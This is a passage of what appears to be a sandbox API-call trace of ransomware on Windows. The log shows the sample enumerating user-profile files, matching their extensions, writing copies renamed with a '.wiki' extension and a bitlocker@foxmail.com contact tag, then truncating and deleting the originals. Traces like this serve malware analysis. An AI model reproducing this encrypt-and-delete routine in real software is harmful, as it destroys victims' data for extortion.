].wiki", dwFileAttributes=0x2020) returned 1 [0179.638] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids")) returned 1 [0179.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.638] lstrlenW (lpString=".doc") returned 4 [0179.638] lstrcmpiW (lpString1=".doc", lpString2=" IDs") returned 1 [0179.638] lstrlenW (lpString=".docx") returned 5 [0179.638] lstrcmpiW (lpString1=".docx", lpString2="l IDs") returned -1 [0179.638] lstrlenW (lpString=".pdf") returned 4 [0179.638] lstrcmpiW (lpString1=".pdf", lpString2=" IDs") returned 1 [0179.638] lstrlenW (lpString=".xls") returned 4 [0179.639] lstrcmpiW (lpString1=".xls", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString=".xlsx") returned 5 [0179.639] lstrcmpiW (lpString1=".xlsx", lpString2="l IDs") returned -1 [0179.639] lstrlenW (lpString=".ppt") returned 4 [0179.639] lstrcmpiW (lpString1=".ppt", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString=".zip") returned 4 [0179.639] lstrcmpiW (lpString1=".zip", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString=".rar") returned 4 [0179.639] lstrcmpiW (lpString1=".rar", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString=".bz2") returned 4 [0179.639] lstrcmpiW (lpString1=".bz2", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString=".7z") returned 3 [0179.639] lstrcmpiW (lpString1=".7z", lpString2="IDs") returned -1 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString=".dbf") returned 4 [0179.639] lstrcmpiW (lpString1=".dbf", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString=".1cd") returned 4 [0179.639] lstrcmpiW (lpString1=".1cd", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString=".jpg") returned 4 [0179.639] lstrcmpiW (lpString1=".jpg", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.639] lstrlenW (lpString=".doc") returned 4 [0179.639] lstrcmpiW (lpString1=".doc", lpString2=" IDs") returned 1 [0179.639] lstrlenW (lpString=".docx") returned 5 [0179.639] lstrcmpiW (lpString1=".docx", lpString2="l IDs") returned -1 [0179.639] lstrlenW (lpString=".pdf") returned 4 [0179.640] lstrcmpiW (lpString1=".pdf", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString=".xls") returned 4 [0179.640] lstrcmpiW (lpString1=".xls", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString=".xlsx") returned 5 [0179.640] lstrcmpiW (lpString1=".xlsx", lpString2="l IDs") returned -1 [0179.640] lstrlenW (lpString=".ppt") returned 4 [0179.640] lstrcmpiW (lpString1=".ppt", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.640] lstrlenW (lpString=".zip") returned 4 [0179.640] lstrcmpiW (lpString1=".zip", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString=".rar") returned 4 [0179.640] lstrcmpiW (lpString1=".rar", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString=".bz2") returned 4 [0179.640] lstrcmpiW (lpString1=".bz2", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString=".7z") returned 3 [0179.640] lstrcmpiW (lpString1=".7z", lpString2="IDs") returned -1 [0179.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.640] lstrlenW (lpString=".dbf") returned 4 [0179.640] lstrcmpiW (lpString1=".dbf", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.640] lstrlenW (lpString=".1cd") returned 4 [0179.640] lstrcmpiW (lpString1=".1cd", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93 [0179.640] lstrlenW (lpString=".jpg") returned 4 [0179.640] lstrcmpiW (lpString1=".jpg", lpString2=" IDs") returned 1 [0179.640] lstrlenW (lpString="Safe Browsing Cookies-journal") returned 29 [0179.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.641] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0179.641] CloseHandle (hObject=0x198) returned 1 [0179.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.641] lstrlenW (lpString=".doc") returned 4 [0179.641] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.641] lstrlenW (lpString=".docx") returned 5 [0179.641] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.641] lstrlenW (lpString=".pdf") returned 4 [0179.641] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.641] lstrlenW (lpString=".xls") returned 4 [0179.641] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.641] lstrlenW (lpString=".xlsx") returned 5 [0179.641] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.641] lstrlenW (lpString=".ppt") returned 4 [0179.641] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.641] lstrlenW (lpString=".zip") returned 4 [0179.641] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.641] lstrlenW (lpString=".rar") returned 4 [0179.642] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString=".bz2") returned 4 [0179.642] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString=".7z") returned 3 [0179.642] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString=".dbf") returned 4 [0179.642] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString=".1cd") returned 4 [0179.642] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString=".jpg") returned 4 [0179.642] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString=".doc") returned 4 [0179.642] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString=".docx") returned 5 [0179.642] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.642] lstrlenW (lpString=".pdf") returned 4 [0179.642] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString=".xls") returned 4 [0179.642] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString=".xlsx") returned 5 [0179.642] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.642] lstrlenW (lpString=".ppt") returned 4 [0179.642] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.642] lstrlenW (lpString=".zip") returned 4 [0179.642] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.643] lstrlenW (lpString=".rar") returned 4 [0179.643] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.643] lstrlenW (lpString=".bz2") returned 4 [0179.643] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.643] lstrlenW (lpString=".7z") returned 3 [0179.643] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.643] lstrlenW (lpString=".dbf") returned 4 [0179.643] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.643] lstrlenW (lpString=".1cd") returned 4 [0179.643] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 97 [0179.643] lstrlenW (lpString=".jpg") returned 4 [0179.643] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.643] lstrcmpiW (lpString1=".feedsdb-ms", lpString2=".wiki") returned -1 [0179.643] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21 [0179.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.666] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6656) returned 1 [0179.666] CloseHandle (hObject=0x334) returned 1 [0179.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms")) returned 0x2020 [0179.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.666] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.666] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.667] GetLastError () returned 0x0 [0179.667] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x1a00, lpOverlapped=0x0) returned 1 [0179.677] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x1a10, lpOverlapped=0x0) returned 1 [0179.678] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.678] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0179.678] SetEndOfFile (hFile=0x160) returned 1 [0179.678] CloseHandle (hObject=0x160) returned 1 [0179.678] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.678] SetEndOfFile (hFile=0x334) returned 1 [0179.679] CloseHandle (hObject=0x334) returned 1 [0179.679] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.679] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms")) returned 1 [0179.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.679] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.679] lstrlenW (lpString=".doc") returned 4 [0179.679] lstrcmpiW (lpString1=".doc", lpString2="b-ms") returned -1 [0179.679] lstrlenW (lpString=".docx") returned 5 [0179.680] lstrcmpiW (lpString1=".docx", lpString2="db-ms") returned -1 [0179.680] lstrlenW (lpString=".pdf") returned 4 [0179.680] lstrcmpiW (lpString1=".pdf", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString=".xls") returned 4 [0179.680] lstrcmpiW (lpString1=".xls", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString=".xlsx") returned 5 [0179.680] lstrcmpiW (lpString1=".xlsx", lpString2="db-ms") returned -1 [0179.680] lstrlenW (lpString=".ppt") returned 4 [0179.680] lstrcmpiW (lpString1=".ppt", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.680] lstrlenW (lpString=".zip") returned 4 [0179.680] lstrcmpiW (lpString1=".zip", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString=".rar") returned 4 [0179.680] lstrcmpiW (lpString1=".rar", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString=".bz2") returned 4 [0179.680] lstrcmpiW (lpString1=".bz2", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString=".7z") returned 3 [0179.680] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.680] lstrlenW (lpString=".dbf") returned 4 [0179.680] lstrcmpiW (lpString1=".dbf", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.680] lstrlenW (lpString=".1cd") returned 4 [0179.680] lstrcmpiW (lpString1=".1cd", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.680] lstrlenW (lpString=".jpg") returned 4 [0179.680] lstrcmpiW (lpString1=".jpg", lpString2="b-ms") returned -1 [0179.680] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString=".doc") returned 4 [0179.681] lstrcmpiW (lpString1=".doc", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".docx") returned 5 [0179.681] lstrcmpiW (lpString1=".docx", lpString2="db-ms") returned -1 [0179.681] lstrlenW (lpString=".pdf") returned 4 [0179.681] lstrcmpiW (lpString1=".pdf", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".xls") returned 4 [0179.681] lstrcmpiW (lpString1=".xls", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".xlsx") returned 5 [0179.681] lstrcmpiW (lpString1=".xlsx", lpString2="db-ms") returned -1 [0179.681] lstrlenW (lpString=".ppt") returned 4 [0179.681] lstrcmpiW (lpString1=".ppt", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString=".zip") returned 4 [0179.681] lstrcmpiW (lpString1=".zip", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".rar") returned 4 [0179.681] lstrcmpiW (lpString1=".rar", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".bz2") returned 4 [0179.681] lstrcmpiW (lpString1=".bz2", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString=".7z") returned 3 [0179.681] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString=".dbf") returned 4 [0179.681] lstrcmpiW (lpString1=".dbf", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString=".1cd") returned 4 [0179.681] lstrcmpiW (lpString1=".1cd", lpString2="b-ms") returned -1 [0179.681] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 81 [0179.681] lstrlenW (lpString=".jpg") returned 4 [0179.681] lstrcmpiW (lpString1=".jpg", lpString2="b-ms") returned -1 [0179.682] lstrcmpiW (lpString1=".feed-ms", lpString2=".wiki") returned -1 [0179.682] lstrlenW (lpString="Microsoft at Work~.feed-ms") returned 26 [0179.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.682] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=28672) returned 1 [0179.682] CloseHandle (hObject=0x334) returned 1 [0179.682] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms")) returned 0x2020 [0179.682] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.683] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.683] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.683] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.683] GetLastError () returned 0x0 [0179.683] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x7000, lpOverlapped=0x0) returned 1 [0179.689] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x7010, lpOverlapped=0x0) returned 1 [0179.690] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.690] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x108, lpOverlapped=0x0) returned 1 [0179.690] SetEndOfFile (hFile=0x160) returned 1 [0179.691] CloseHandle (hObject=0x160) returned 1 [0179.691] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.691] SetEndOfFile (hFile=0x334) returned 1 [0179.692] CloseHandle (hObject=0x334) returned 1 [0179.692] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.692] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms")) returned 1 [0179.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.692] lstrlenW (lpString=".doc") returned 4 [0179.692] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.692] lstrlenW (lpString=".docx") returned 5 [0179.692] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.692] lstrlenW (lpString=".pdf") returned 4 [0179.692] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.692] lstrlenW (lpString=".xls") returned 4 [0179.692] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.692] lstrlenW (lpString=".xlsx") returned 5 [0179.692] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.692] lstrlenW (lpString=".ppt") returned 4 [0179.693] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString=".zip") returned 4 [0179.693] 